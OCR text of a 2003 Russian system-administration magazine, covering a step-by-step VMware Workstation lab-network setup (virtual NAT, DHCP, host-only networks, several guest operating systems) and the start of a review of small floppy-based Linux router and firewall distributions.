администрирование является. Программное обеспечение NAT перехватывает все проходящие пакеты и изменяет их так, чтобы системы, находящиеся в реальной сети, считали, что общаются с реальным адаптером основной системы. При каждом запросе, исходящем от виртуального адаптера, NAT записывает запрос в специальную таблицу преобразований и открывает соединение с целевой системой, используя определенный диапазон портов реального интерфейса, и через него отправляет пакет. По приходу ответа, опираясь на номер порта, NAT преобразует пакет к виду, приемлемому для виртуальной сети, и отдает его виртуальному адаптеру, по запросу которого создавалось соединение. Таким образом, появляется возможность одновременной работы нескольких виртуальных адаптеров через один реальный сетевой адрес. DHCP-сервер (Dynamic host configuration protocol server) – виртуальный сервер динамического конфигурирования узлов позволяет раздавать сетевые и административные параметры централизованно для сетей на основе host-only и NAT. Настал момент, когда нужно снова прекратить грызть гранит науки и опять начать практическую деятельность по настройке макета наших виртуальных сетей. Под Windows для выполнения этой задачи служит программа управления сетями «Virtual Network Editor». Запускаем ее, последовательно пройдя через меню Пуск → Программы → VMWare Workstation → Manage virtual networks. Того же результата можно добиться, если выбрать в работающей VMWare Workstation пункты меню Edit → Virtual Network Settings.

На следующем экране показан диалог для добавления устройств типа мост. В нашем примере использовать эту возможность мы не будем. Поэтому переходим к следующей странице.

Здесь мы видим список наших сетей. Надпись «Not bridged» не настроена и на данный момент не может быть использована.

Далее идет список виртуальных сетевых адаптеров, функционирующих в нашей системе. Судя по рисунку, активированы адаптеры для сетей VMnet1 и VMnet8.

На первом экране видим суммарную статистику по виртуальным сетям, созданным с настройками по умолчанию во время инсталляции VMWare Workstation. Итак, судя по картинке, сеть VMnet0 зарезервирована для устройств типа мост. Таким образом, VMnet1 – это (host-only) сеть 192.168.149.0 из адресного пространства, выделенного для частных сетей. Ну и VMnet8 сеть 192.168.32.0 соответственно служит для устройств NAT.

№9(10), сентябрь 2003

Следующий снимок показывает интерфейс, позволяющий управлять виртуальным DHCP-сервером. Как мы видим, он обслуживает сети 192.168.149.0 (VMnet1) и 192.168.32.0 VMnet8.

15


администрирование Самый последний из показанных экранов демонстрирует возможности управления сервисом NAT, активированным для сети VMnet8. Для создания виртуальных сетей host-only и NAT используются сети класса C из адресного пространства, выделенного для частных подсетей. Адреса таких сетей начинаются с 192.168.0.0 и продолжаются по 192.168.255.255 включительно. Выше по тексту мы обсуждали применение виртуального DHCP-сервера для раздачи адресов сетевым интерфейсам наших гостевых систем. Давайте посмотрим, как это работает, и в качестве примера будем использовать схему адресации для вымышленной сети 192.168.13.0. Òàáëèöà 1. Ðàñïðåäåëåíèå àäðåñîâ â ñåòÿõ òèïà host-only

Òàáëèöà 2. Ðàñïðåäåëåíèå àäðåñîâ â ñåòÿõ, èñïîëüçóþùèõ NAT

16

Разобравшись с теорией распределения адресов в виртуальных сетях, давайте посмотрим, как выглядит с точки зрения VMWare Workstation создаваемый нами макет сети предприятия. На первый взгляд схема сетевых взаимодействий выглядит устрашающе сложно, но на самом деле это не так, и через несколько минут вы будете с легкостью ориентироваться в топологии наших сетей. Итак, на рисунке мы видим все перечисленные ранее хосты и их интерфейсы. Присмотревшись внимательно, легко разобраться в соответствии между IP-адресами и интерфейсами. Далее изображены три виртуальных коммутатора для сетей hostonly VMnet1 (192.168.40.0), VMnet2 (192.168.80.0), VMnet3 (192.168.120.0). Соответственно для работы с устройством NAT (192.168.32.2) предназначена сеть VMnet8, для которой по умолчанию используется адресное пространство 192.168.32.0. Также обратите внимание на тот факт, что виртуальные DHCP-сервера работают только в сетях VMnet2 и VMnet8. Исходя из того факта, что в сетях VMnet1 и VMnet3 используются статические IP-адреса, DHCP-сервера этих сетей отключены за ненадобностью. Снова открываем программу управления нашими виртуальными сетями. Первым делом нужно изменить настройки сети VMnet1. По умолчанию она привязана к адресному пространству 192.168.149.0. По моему мнению, такую комбинацию цифр неудобно запоминать, поэтому мы исправим адрес VMnet1 на 192.168.40.0. Для этого выбираем вкладку «Host Virtual Network Mapping» и нажимаем кнопку «…» напротив надписи VMnet1.


администрирование Не стоит расслабляться и считать работу выполненной после того, как в списке адаптеров появится надпись «New device». На самом деле новый адаптер еще не создан. Как всегда, используем по прямому назначению кнопку «Применить», после этого ждем, пока система выйдет из задумчивого состояния и обновит список адаптеров. На экране должно появиться что-то похожее на следующую картинку.

После этого активизируем вновь появившееся подменю «Subnet».

Вносим данные о нашей сети 192.168.40.0, по умолчанию используется сетевая маска 255.255.255.0. Нажимаем кнопку «OK» и вновь возвращаемся к интерфейсу управления сетями. Стоит крепко-накрепко запомнить, что после внесения любых изменений необходимо каждый раз нажимать кнопку «Применить», иначе ничего не произойдет.

Теперь переходим на вкладку DHCP и, выбрав запись, указывающую что для сети VMnet1 включена раздача IP-адресов с помощью DHCP, нажимаем кнопку «Remove». И, как всегда, для завершения щелкнем по кнопке «Применить». После того как мы разобрались с сетью VMnet1, осталось создать еще две сети VMnet2 и VMnet3. Снова возвращаемся к вкладке «Host Virtual Network Mapping» и опять жмем кнопку «…» напротив надписи VMnet2. Как всегда, выбираем пункт меню «Subnet» и в появившемся диалоговом окне вписываем 192.168.80.0. Как обычно, не забываем уделить внимание кнопкам «OK» и «Применить». Пока что наша сеть не активирована, потому что в основной системе нет виртуального адаптера, отвечающего за нее. Поэтому переходим на вкладку «Host Virtual Adapters» и жмем кнопку «Add new adapter».

Проверяем, чтобы в выпадающем списке была выбрана сеть VMnet2, и снова жмем «OK».

№9(10), сентябрь 2003

По умолчанию после того, как создан новый виртуальный адаптер, внутри только что налаженной сети начинает работать DHCP-сервер. Вы можете в этом убедиться, выбрав вкладку «Host Virtual Network Mapping» и нажав кнопку «…». Теперь в выпадающем меню появился добавочный пункт «DHCP». Если выбрать его, то в ответ получим следующий диалог, позволяющий менять настройки DHCP-сервера. Кстати, точно такого же эффекта можно добиться, если нажать на вкладку DHCP главного интерфейса, выбрать нужную сеть и использовать кнопку «Properties». Все вышеописанные манипуляции производились с целью показать, как легко и просто можно менять опции DHCP, но так как в данном случае нас устраивают настройки по умолчанию, то изменять мы ничего не станем. В документации, поставляющейся вместе с VMWare Workstation, говорится, что сети VMnet рекомендуется строить на основе частных сетей класса C. Нигде не сказано, что создавать сети других классов запрещено, и поэтому я решил проверить, можно ли получить виртуальные сети класса B и С. В процессе создания сети все идет нормально, и никакие ошибки на экране не появляются. VMWare Workstation ни на что не жалуется, но ни одна из свежесозданных сетей не работает. Повторив свой неудачный эксперимент несколько раз, с сожалением констатирую, что нам придется работать только с сетями класса C. Покончив с лирическими отступлениями, переходим к созданию последней из необходимых нам сетей. Думаю, читатель уже достаточно поднаторел в подобном ремесле и сможет самостоятельно создать сеть VMnet3 с адресным пространством 192.168.120.0. По окончании процесса желательно не забыть отключить DHCP для этой сети. Впрочем, если вы этого не сделаете, то ничего страшного не произойдет, но дизайн сети будет уже не таким опрятным. В вашей голове может возникнуть вопрос: «Если все и так работает, зачем делать лишние движения?». Я считаю, что все эти процедуры желательно выполнять, потому что такой подход упрощает понимание механизмов действия наших сетей. Посмотреть список виртуальных адаптеров, появившихся внутри основной системы, можно, пройдя через меню Пуск → Настройка → Сеть и удаленный доступ к сети.

17


администрирование

Ради удовлетворения собственного любопытства можете посмотреть опции любых адаптеров. Мы не будем трогать настройки сети VMnet8, установленные по умолчанию, так как нас они вполне устраивают. Вот теперь самое время приступить к созданию виртуальных машин. Итак, запускаем VMWare Workstation и видим перед собой что-то вроде этой картинки.

Нажав кнопку «Next», переходим к следующему шагу. Теперь нужно выбрать, какой тип конфигурирования мы будем использовать. По умолчанию используется опция «Typical». Если выбрать ее, то VMWare Workstation без нашего участия решит, какой набор устройств стоит включить в создаваемую виртуальную машину. Мне такой подход не нравится, потому что я предпочитаю самостоятельно выбирать необходимые компоненты. А значит, нам нужно использовать опцию «Custom».

Пришел черед выбрать операционную систему. Я думаю, вы уже догадались, что нам нужна Windows 98. Первым делом мы создадим машину с Windows 98 SE. Вначале была опробована обычная версия Windows 98, которая проинсталлировалась, как положено, с первого раза. Но ни у меня, ни у кого-либо из знакомых лицензий на неё не было. Поэтому пришлось снести ее и использовать OEM-версию Windows 98, поставлявшуюся с рабочими станциями для фирмы, в которой я сейчас работаю. Кстати, стоит отметить, что пришлось перепробовать несколько версий системы, поставлявшихся с разными партиями оборудования. Из четырех вариантов три подвисали на разных этапах установки. Видимо, дело в том, что они рассчитаны на довольно-таки специфическое оборудование. После того как был найден дистрибутив, нормально работающий под виртуальной машиной, началась установка. Итак, первым делом выбираем меню File → New → New Virtual Machine. В ответ получаем диалог помощника, который будет сопровождать нас в процессе создания новой виртуальной машины.

18

Далее определяем имя виртуальной машины и путь к директории, где будут находиться все ее файлы.


администрирование

На следующем шаге нужно решить, сколько оперативной памяти будет доступно создаваемой виртуальной машине. Судя по картинке, основная система располагает 256 Мб оперативной памяти, из которых 192 Мб отдано для нужд VMWare Workstation и работающих внутри нее виртуальных машин. Автоматический помощник предлагает по умолчанию выделить вновь создаваемой системе 64 Мб, но я думаю, что и 32 Мб хватит с головой. Если уж быть совсем жестоким, то можно поставить 16 Мб, но тогда появится некоторое некритичное, но все же неприятное замедление работы этой виртуальной машины. Стоит обратить внимание, что размер выделяемой памяти должен быть обязательно кратен 4 Мб.

В ответ на наши действия, направленные на экономию ресурсов, система предупреждает нас о том, что выбранный размер оперативной памяти существенно меньше рекомендуемого, и это может привести к снижению быстродействия. Мы с вами и так это знаем и готовы пойти на такие маленькие жертвы. Поэтому недрогнувшей рукой жмем «Yes».

Далее необходимо выбрать, к какому типу сетей будет относиться сетевой интерфейс создаваемой гостевой системы. По умолчанию предлагается интерфейс мост «Bridged Networking», но нас это не устраивает, так как машина должна находиться в сети VMnet3. Если мне не изменяет память, то эта сеть относится к классу host-only, поэтому выбор очевиден.

№9(10), сентябрь 2003

Наступило время решить, каким образом будут храниться данные, записываемые на жесткий диск виртуальной машины. Опция «Create New Virtual Disk» приказывает создать новый файл-хранилище для виртуального диска. За ней идет «Use an existing Virtual Disk», позволяющая использовать файл, созданный ранее. Например, такой файл может остаться от другой виртуальной машины, которую вы решили переустановить. Последняя опция «Use a physical disk» дает нам возможность использовать в качестве виртуального диска какой-либо раздел жесткого диска реальной машины. Эта опция довольно опасна, потому что позволяет по неосторожности легко уничтожить данные в любом разделе реального жесткого диска. Выбираем первую опцию и, как всегда, жмем «Далее».

Следующий экран позволяет определить размер в Гб жесткого диска, выдаваемого гостевой системе. Я думаю, что 0,5 Гб, или, проще говоря, 500 Мб, будет достаточно. Следующая опция «Allocate all disk space now» позволяет выделить все необходимое место сразу. Таким образом, на жестком диске основной системы у нас появится файл размером 500 Мб, заполненный нолями. Такой способ работы ускоряет выполнение операций записи на виртуальный диск из гостевой системы, но в то же время уменьшает свободное место реального жесткого диска. В противовес такому подходу можно выделять пространство внутри виртуального диска динамически, в ответ на запросы гостевой системы. Это будет слегка медленнее, зато виртуальная машина будет занимать гораздо меньше места на

19


администрирование жестком диске реальной системы. Я решаю использовать схему с динамическим распределением места. Последняя из опций, доступных на этом экране, «Split disk into 2 GB files», позволяет разбить большой виртуальный диск на файлы размером по 2 Гб. Таким образом, виртуальный диск размером в 4,5 Гб на жестком диске реальной системы будет представлен двумя файлами по 2 Гб и одним файлом с размером 0,5 Гб. Эта возможность нужна, если файловая система основной операционки не поддерживает файлы размером более 2 Гб. Эта опция нас также не интересует, поэтому оставляем ее нетронутой.

Выбираем пиктограмму сетевой карты и получаем возможность редактировать ее параметры. Из ниспадающего списка выбираем VMnet3 и снова жмем «OK».

Немного передохнув, с воодушевлением приступаем к установке операционной системы. Для того, чтобы подать электропитание на нашу виртуальную машину, жмем клавишу с зеленой стрелкой и смотрим, как происходит включение.

Далее нам предлагают придумать имя для файла, в котором будет храниться файловая система виртуальной машины. Вариант по умолчанию отлично подходит для этих целей. Поэтому жмем кнопку «Готово», завершая процесс предварительной настройки виртуальной машины. Надпись внизу экрана подсказывает нам о необходимости нажать клавишу «F2», чтобы войти в интерфейс управления BIOS. С радостью выполняем это действие и попадаем внутрь самого что ни на есть настоящего BIOS. Инсталляцию мы начнем с заранее припасенной загрузочной дискеты.

Интерфейс VMWare Workstation слегка изменился. Кнопки управления стали активны, а правая и центральная части экрана стали отображать данные о только что созданной машине.

Для начала нам нужно настроить сетевой адаптер системы так, чтобы он находился в сети VMnet3. Для этого используем меню Edit → Virtual Machine Settings.

20

Теперь нужно перейти в раздел «Boot» и с помощью клавиш «+» и «-» выставить список загрузочных устройств так, как изображено на рисунке. После этого, воспользовавшись меню «Exit», выходим с сохранением внесенных изменений. Гостевая система снова начнет перезагрузку. После того как загрузка с дискеты успешно завершилась, с помощью программы fdisk создаем основной раздел и делаем его актив-


администрирование ным. Для того, чтобы изменения вступили в силу, снова перезагружаемся. Для этого можно использовать клавишу, находящуюся на панели инструментов VMWare Workstation и состоящую из двух разноцветных стрелок, обвивающихся друг вокруг друга. После загрузки командой format c: размечаем единственный раздел жесткого диска. Стоит отметить, что загрузочная дискета, которой я пользуюсь, с помощью драйвера mscdex самостоятельно подключает к системе CDROM с дистрибутивом. По завершении процесса переходим на диск D: и запускаем оттуда инсталляцию системы. Я думаю, что каждый из вас много раз выполнял последовательность действий, необходимых для успешной инсталляции Windows, поэтому опускаю рутинные подробности. Примерно через 20 минут происходит первый запуск Windows. На вашей машине этот временной промежуток может быть более или менее продолжительным. Все зависит от скорости реального жесткого диска. В процессе первой загрузки Windows обнаружит следующие устройства: звуковую карту PCI Multimedia Audio Device, сетевой адаптер AMD PC Net Family Ethernet (PCI-ISA) и стандартный видеоадаптер PCI VGA. Для них будут автоматически подобраны наиболее подходящие драйвера. Конечно, изображение на экране оставляет желать лучшего, но нас это на данный момент не особенно интересует. Сейчас для нас самая главная задача – настроить сетевую подсистему Windows. Открываем настройки сетевой карты Windows и вносим туда вот такие данные: IP-адрес 192.168.120.15 и маску сети 255.255.255.0:

В качестве шлюза по умолчанию устанавливаем адрес 192.168.120.2. После перезагрузки нужно будет проверить, правильно ли применились сетевые параметры. Если все произошло так, как мы хотели, то можно считать настройку этой машины оконченной. Для того, чтобы она не мешала нам работать, ее можно выключить. Если выключать желания нет, то можно применить более элегантный прием. С помощью меню Power → Suspend или кнопки, состоящей из двух желтых линий, можно перевести виртуальную машину в состояние глубокого сна. В таком режиме она не будет использовать системные ресурсы. Все программы, выполнявшиеся внутри машины, будут остановлены и заморожены, их выполнение продолжится с того же места, где они были остановлены, только после того, как вы воспользуетесь меню Power → Resume или клавишей, включающей питание этой виртуальной машины.

№9(10), сентябрь 2003

Завершив настройку Windows 98, переходим к настройке FreeBSD 4.7. Большинство действий, производимых нами, будет схоже с предыдущим примером. Будем заострять внимание только на отличиях. Итак, я создал виртуальную машину с жестким диском размером в 1 Гб дискового пространства и 32 Мб оперативной памяти, если возникнет надобность и желание что-либо менять, можете отдать ей гораздо меньше ресурсов. На быстродействие этой системы подобные изменения никак не повлияют. Стоит также отметить, что для FreeBSD лучше выделить все место сразу в файле виртуального диска. Как это делать, мы обсуждали во время установки Windows. Если этого не сделать, то посреди инсталляции вас может поджидать неприятность.

Видимо, в момент установки программного обеспечения обмен с винчестером слишком интенсивен, и дисковая подсистема Windows не выдерживает такой нагрузки. Кстати, под Linux такой ошибки я не встречал ни разу. Перед запуском инсталляции в машину нужно добавить еще две дополнительные сетевые карты. Как, наверное, догадались самые любознательные читатели, мы снова воспользуемся меню Edit → Virtual Machine Settings. Во-первых, убеждаемся, что первая сетевая карта привязана к сети Vmnet1. После этого нажимаем кнопку «Add», затем в новом окне жмем «Далее». В следующем диалоговом окне выбираем строку Ethernet Adapter и снова жмем «Далее».

Стоит обязательно настроить все так, чтобы вновь добавляемая карта была предназначена для сети VMnet2. Жмем на кнопку «Готово». Как видите, процедура добавления нового оборудования в систему довольно проста. Самостоятельно добавляем еще одну карту с привязкой к VMnet3. Стоит отметить, что внутри VMWare Workstation стоит ограничение на количество сетевых карт, которые можно добавить в одну машину. Ни одна виртуальная машина не может иметь более трех сете-

21


администрирование вых карт. Завершив предварительные приготовления, запускаем инсталляцию. Настраиваем BIOS так, чтобы загрузка шла с CD-ROM, потому что дистрибутив системы у нас находится именно там. Я думаю, разметить диск и инсталляцию FreeBSD вы сможете самостоятельно. После того как система загрузилась первый раз, нам нужно настроить сетевую подсистему. Сетевые интерфейсы, которые мы добавили в систему, называются lnc0, lnc1 и lnc2 соответственно. Для того чтобы они заработали как положено, настраиваем систему с помощью программы /stand/sysinstall или вручную вносим следующие данные в файл rc.conf: gateway_enable-"YES" defaultrouter="192.168.40.57" ifconfig_lnc0="inet 192.168.40.2 netmask 255.255.225.0" ifconfig_lnc1="inet 192.168.80.2 netmask 255.255.225.0" ifconfig_lnc2="inet 192.168.120.2 netmask 255.255.225.0"

Таким образом, мы разрешили прохождение пакетов между всеми тремя интерфейсами и назначили шлюзом по умолчанию машину NetBSD. Перезагружаем систему для того, чтобы настройки вступили в силу. Как только перезагрузка завершится, можно разморозить машину Windows или запустить ее, если она у вас еще не запущена. Как только Windows загрузится, выбираем меню Пуск → Программы → Сеанс MS-DOS, в появившемся окне командной оболочки пробуем выполнять по очереди нижеследующие команды.

Таким образом, мы разрешаем этой системе получать адрес от DHCP-сервера. И результат не заставит себя ждать. Находясь в командном интерпретаторе, выполняем команду ipconfig /all.

ping 192.168.120.2 ping 192.168.80.2 ping 192.168.40.2

Все команды должны показать, что ICMP-пакеты достигли цели и благополучно вернулись назад. Итак, переходим к следующей машине, которая будет выступать у нас в роли веб-сервера. На нее нам предстоит установить Linux Mandrake. Как и в случае FreeBSD, установка у нас происходит с CD-ROM. Этой машине мы выделяем 1 Гб пространства жесткого диска и 64 Мб оперативной памяти. Сетевой адаптер у нас один, и он принадлежит к сети VMnet1, я надеюсь, вы сможете сделать так, чтобы это соответствовало истине, самостоятельно. За счет использования графической оболочки процесс инсталляции проходит совершенно безболезненно. Главное – не забыть заказать инсталляцию веб-сервера apache. Под конец установки дать системе IP-адрес 192.168.40.32 и назначить шлюзом по умолчанию IP 192.168.40.2, принадлежащий машине FreeBSD. В остальном все выглядит довольно прозрачно. Следующим нашим пациентом становится машина на основе OEM версии Windows 2000 Professional. Как вы уже догадались, ничего нетипичного здесь нет. Инсталляция выполняется с загрузочного CD-ROM. Для работы этой машины выделен 1 Гб жесткого диска и 64 Мб оперативной памяти. Изюминкой, ради которой была затеяна возня с этой машиной, является работа с DHCP. После того как инсталляция Windows 2000 будет окончена, нужно настроить свойства протокола TCP/IP так, как показано на рисунке.

22

Должны получиться именно такие сведения о параметрах сетевого адаптера. С помощью команды ping проверяем доступность всех работающих в нашей сети хостов. Теперь самое время перейти к нашей последней и, возможно, самой интересной инсталляции. Сейчас мы создадим машину на основе NetBSD, которая будет служить для нас шлюзом в Интернет. Интересные моменты начинаются практически сразу после начала создания виртуальной машины. NetBSD нет в списке официально поддерживаемых VMWare Workstation систем, поэтому во время выбора типа системы мы будем использовать опцию «Other». Выделяем 300 Мб свободного пространства на жестком диске и 32 Мб оперативной памяти. Для такой маленькой системы, как NetBSD, этого будет вполне достаточно. Как всякому порядочному шлюзу между сетями, даем две сетевые карты: первая из них смотрит в VMNet1 и имеет адрес 192.168.40.57, а вторая получает адрес 192.168.32.128 и направлена в сторону VMNet8. Также в этой сети по адресу 192.168.32.2 находится устройство NAT. Я надеюсь, вы сможете самостоятельно добавить устройства этих сете-


администрирование вых карт в виртуальную машину. Инсталляцию мы будем проводить не с CD-ROM, а с его iso-образа. Согласитесь, довольно полезная возможность, если вы скачали образ диска из Интернета, а под рукой нет пишущего CD-ROM. Итак, чтобы пристыковать образ как диск CD-ROM, нужно сделать следующее. Настраиваем в BIOS загрузку с CDROM, затем в списке оборудования выбираем этот самый CD-ROM. Изменяем его свойства так, чтобы стала активна опция «Use ISO Image», затем с помощью кнопки «Browse» выбираем необходимый файл образа.

Поскольку для связи с внешним миром NetBSD будет использовать NAT, нужно немного подправить настройки сети VMnet8. Как обычно, для этих целей используем редактор сетей VMWare Workstation. Выбираем вкладку NAT, убеждаемся, что выбрана именно VMnet8, и жмем клавишу «Edit», в ответ открывается диалог настроек NAT. Нам нужно идти глубже, поэтому жмем на клавишу «Port forwarding». Появляется еще одно окно, разделенное на два окна поменьше, верхняя часть отвечает за проброс

№9(10), сентябрь 2003

внутрь сети входящих TCP-пакетов, а нижняя соответственно UDP. Нам нужно настроить TCP, поэтому используем кнопку «Add» верхнего окна. Настраиваем проброс так, чтобы все входящие пакеты с порта 80 попадали на порт 80 веб-сервера. Несколько раз жмем кнопку «OK» и затем один раз кнопку «Применить». Вот теперь можно начинать установку NetBSD. Оболочка инсталлятора очень похожа на оболочку FreeBSD, поэтому, я думаю, проблем с ней возникнуть не должно. Главное – не забыть настроить сетевую карту, смотрящую в сеть VMnet1 на адрес 192.168.40.57. Вторая карта будет получать параметры своих настроек от сервера DHCP, работающего в сети VMnet8. Кстати, стоит отметить, что шлюзом по умолчанию для второй карты будет адрес устройства NAT. По окончании установки и настройки NetBSD все наши подопытные сети смогут ходить в Интернет, а также пользоваться услугами внутреннего веб-сервера. А клиенты из внешних сетей будут видеть веб-сервер на 80-м порту сетевого адаптера нашей реальной машины. В результате при заходе на веб-сервер из любой сети должна получаться вот такая картинка. В данной статье намеренно не описываются никакие меры по обеспечению безопасности вновь созданных сетей, потому что эта тема выходит далеко за рамки повествования. Не стоит пытаться объять необъятное. Во второй части этой статьи мы поговорим об инсталляции VMWare Workstation под Linux. И о том, как сделать точно такой же макет тренировочной сети под вышеназванной операционной системой.

23


администрирование

Маленький Linux в качестве firewall

СЕРГЕЙ ЯРЕМЧУК 24


администрирование Со временем устаревает любая техника, в том числе оно не считается и с компьютерами. Выпущенные буквально год назад считаются уже устаревшими. А что делать с компьютерами, которым уже «далеко за»? Выбрасыватьто жалко. Иногда их фирма продает по дешевке, компенсируя покупку новых машин. Но на их плечи можно переложить маленькие задачи, разгрузив таким образом более мощные системы. Так, их можно запросто настроить как роутер и/или firewall, использовать в качестве бездисковых рабочих станций и Х-терминалов, отдельных пользовательских машин и даже возложить на них мониторинг, аудит и детектирование вторжения в компьютерную сеть. Сегодня предлагаю познакомиться с дистрибутивами, которые позволяют настроить совместный доступ в Интернет, среди дополнительных возможностей некоторые имеют firewall, NAT, кеширующий DNS-сервер, сервер DHCP, ftp- и www-серверы. В более продвинутых решениях встречается даже возможность создания виртуальных частных сетей VPN. Для большинства из рассматриваемых дистрибутивов наличие жесткого диска тоже необязательно. Некоторые помещаются на одну дискету, обеспечивая только необходимый минимум, более оснащенные варианты требуют уже наличия СD-ROM для своего запуска или установки. Начнем, наверное, с любимчика. Это был один из первых дистрибутивов подобного направления, с которым мне пришлось столкнуться и который показал всю живу-

честь такой идеи, и что самое интересное, на первоначальное знакомство и настройку ушло всего минут двадцать, так что такой вариант может быть использован в экстренных случаях, когда вышел из строя основной маршрутизатор. Итак, FreeSCO http://www.freesco.org (название пошло от Free ciSCO router). При таких маленьких размерах, всего одна дискета, этот дистрибутив умеет довольно многое: обеспечивает одновременную поддержку до 3 ethernet/arcnet/token_ring/arlan сетевых карточек и до 2 модемов (большинство нижеописываемых поддерживают только два сетевых устройства), режим моста, firewalling (для защиты внутренней сети от несанкционированного доступа из Интернета или ограничения доступа в Интернет для внутренних пользователей), NAT (трансляция сетевого адреса для коллективного доступа в сеть), сервер DNS, DHCP-сервер для динамического выделения адресов, HTTP-сервер (для удаленного администрирования через веб-интерфейс – рис.1, 1а), telnet-сервер (для удаленного управления системой – рис.1б), print-cервер и TIME-cервер (в комплекте есть и графический клиент для Windows). Системные требования также невысоки: процессор от i386, 6 Мб ОЗУ (рекомендовано 16 Mб). Поддерживаются большинство сетевых карт (полный список совместимых с дистрибутивом смотрите на сайте; соответствующий драйвер, если что-то не получается, просто положите в a:\router\drv). Модемы в принципе любые, кроме, наверное, win-модемов. FreeSCO очень просто уста-

Ðèñóíîê 1.

№9(10), сентябрь 2003

25


администрирование

Ðèñóíîê 1à.

навливать и настраивать. После перезагрузки в строке приглашения введите setup и отвечайте на вопросы. Зеленым цветом выделены вопросы, которые необходимо обязательно настроить, желтым – опциональные, а красные вопросы для тех, кто в состоянии разобраться в том, что делает. Вводя номер телефона провайдера, при тоновом наборе набейте перед номером букву Т, при импульсном – Р, если вы используете мини-АТС, введите символ W, например Т9W2798007. Используется два пароля: root и администратора (для удаленной настройки через веб-интерфейс, 82 порт по умолчанию). И еще одно удобство реализовано во FreeSCO, хотя все установки при выключении сохраняются на дискете, его можно установить на жесткий диск, для этого вместо setup введите mv2hd. Жесткий диск должен быть отформатирован как FAT16 или FAT32. После перезагрузки введите setup и делайте все, как описано выше (дискету перед этим, естественно, необходимо удалить). Затем можно доустановить необходимые для работы программы, скомпилировав их предварительно в другом дистрибутиве. При таких размерах это просто супер. Floppyfw (http://www.zelow.no/floppyfw/index.html) кратко можно охарактеризовать как маршрутизатор с расширенными возможностями firewall, который размещается и работает с одного диска. Поддерживаются списки доступа, IP-masquerading или NAT (Network Address Translation), маршрутизация пакетов. Системные требования также не-

26

высоки – 386sx или лучше 12 Мб ОЗУ (при меньшем объеме можно использовать более раннюю версию, которая есть на сайте). Очень простая система пакетов, которую можно использовать для добавления необходимых приложений: редакторов, PPP, VPN и пр. Поддерживается регистрация событий при помощи klogd/syslogd, локальное и удаленное управление, имеются серверы DHCP и кеширующий DNS для внутренних сетей. Образ сохраняется на дискете с файловой системой FAT, что позволяет очень просто редактировать необходимые параметры в Windows или DOS, на свободное место, оставшееся на дискете, можно добавить пару своих приложений, в том числе и пересобранное под свои нужды ядро. Настройка производится вручную без помощи вспомогательных утилит, но все заготовки можно заранее прописать в .ini- и .cfg-файлах. Несмотря на необходимость изучения работы соответствующих утилит (ipchains и ipmasqadm), floppyfw со своими обязанностями справляется на «отлично». В Интернете читал много хороших откликов, плюс ориентированность на безопасность. Coyote Linux (http://www.coyotelinux.com/). Цель этого проекта состоит в том, чтобы обеспечить совместный доступ в Интернет, используя одно соединение и больше ничего, но зато без предварительного изучения основ Linux (хотя это в любом случае только приветствуется). При этом первоначально необходимо сконфигурировать будущую систему при помощи визарда в Windows (рис.2) или скрипта


администрирование

Ðèñóíîê 1á.

в Linux. В ходе которого, отвечая на вопросы, можно будет выбрать размер будущей системы (от 1.44 до 1.73 Мб), настроить сетевые интерфейсы, оптимизировать под используемый процессор (от 386 без сопроцессора до 486), задать дополнительные приложения (ssh, webmin и пр.), при

Ðèñóíîê 2.

№9(10), сентябрь 2003

этом ничего лишнего в систему не будет добавлено. После чего система компилируется и записывается на дискету, которую можно тут же клонировать. Поддерживается только два сетевых интерфейса, но в FAQ можно найти ответ, как создать DMZ (DeMiliterized Zone) для компьютеров, которым необходимы реальные IP-адреса (www, е-mail, ftpсерверы) при помощи ifconfig. Ulric’s Router Construction Kit (http://siag.nu/urck/) позволяет собрать свой роутер на дискете, используя современные ядра серии 2.4.x. В комплекте идут только базовые утилиты, но при необходимости можно расширить основные возможности роутинга за счет пакета Zebra (http:// www.zebra.org/) и пакета Vrrpd (http://w3.arobas.net/~jetienne/ vrrpd/index.html), позволяющего двум маршрутизаторам контролировать работу друг друга и подстраховать, если один из них выйдет из строя. ShareTheNet (http://sharethenet.webserv.com) – вообщето один из первых подобных проектов (router + firewall), и автор на первых порах продавал его очень долго и, как мне кажется, довольно успешно, только относительно недавно (что-то около года) он стал бесплатным и доступным для свободной закачки. Первоначально необходимо установить программу под Windows(рис.3), после чего создать при помощи визарда дискету (рис.3а). Удаленное администрирование также осуществляется при помощи этой утилиты. Системные требования 80386+ и 8Mб, под-

27


администрирование

Ðèñóíîê 3.

держивается два сетевых интерфейса (Ethernet и модем). К сожалению, Linux Router Project (LRP 1997-2002) Дейва Синейджа (Dave Cinege), размещавшийся по адресу http://linuxrouter.org/, буквально на днях приказал долго жить, но еще доступны старые версии этого неплохого дистрибутива. Другой проект, который работал параллельно, LEAF – Linux Embedded Appliance Firewall (http:// leaf.sourceforge.net), поддерживающий ядро 2.4.20 и тему LRP в нескольких вариациях, все еще продолжает созда-

Ðèñóíîê 4.

28

Ðèñóíîê 3à.

вать маленькие дистрибутивы, которые можно использовать в качестве маршрутизаторов, серверов доступа, тонких серверов и клиентов и прочих простых сетевых встраиваемых систем. FrazierWall Linux (http://www.frazierwall.com/) – еще один проект, берущий свое начало от LRP и Coyote Linux, но


администрирование

Ðèñóíîê 4à.

после внесенных изменений уже в принципе заметно отличающийся от своих прародителей. Его можно использовать в качестве NAT, роутера, firewall. Поддерживаются DHCP для локальных клиентов, time server и отправка логов firewall и предупреждения защиты по почте. Кроме этого основной упор был сделан на легкость конфигурирования и безопасность. Security обеспечивают дополнительные скрипты и предустановленный набор правил firewall, позволяющий первоначально установить ее и новичку в этом деле. Системные требования процессор – i486 и 16 Mб RAM. Далее речь пойдет о дистрибутивах, требующих уже СD-ROM для своей установки или работы. Появление их вполне закономерно и понятно, не все необходимые функции можно запихнуть на дискету, плюс медленный, но все-таки постепенный уход этого устройства и распространенность СD-RW, позволяющая любому записать их на болванку. Да и мощность «устаревшего» оборудования постепенно растет, если года три назад это были i386, то теперь к ним относятся и i586 компьютеры и Celeron первых выпусков. И вполне естественно, так как записать свою конфигурацию обратно на СD-ROM не получится, то в большинстве дистрибутивов имеется опция сохранения их на дискету или для работы необходим уже жесткий диск, хотя в этом случае возможны варианты. Keeper Linux (http://www.keeper.org.uk/) разрабатыва-

№9(10), сентябрь 2003

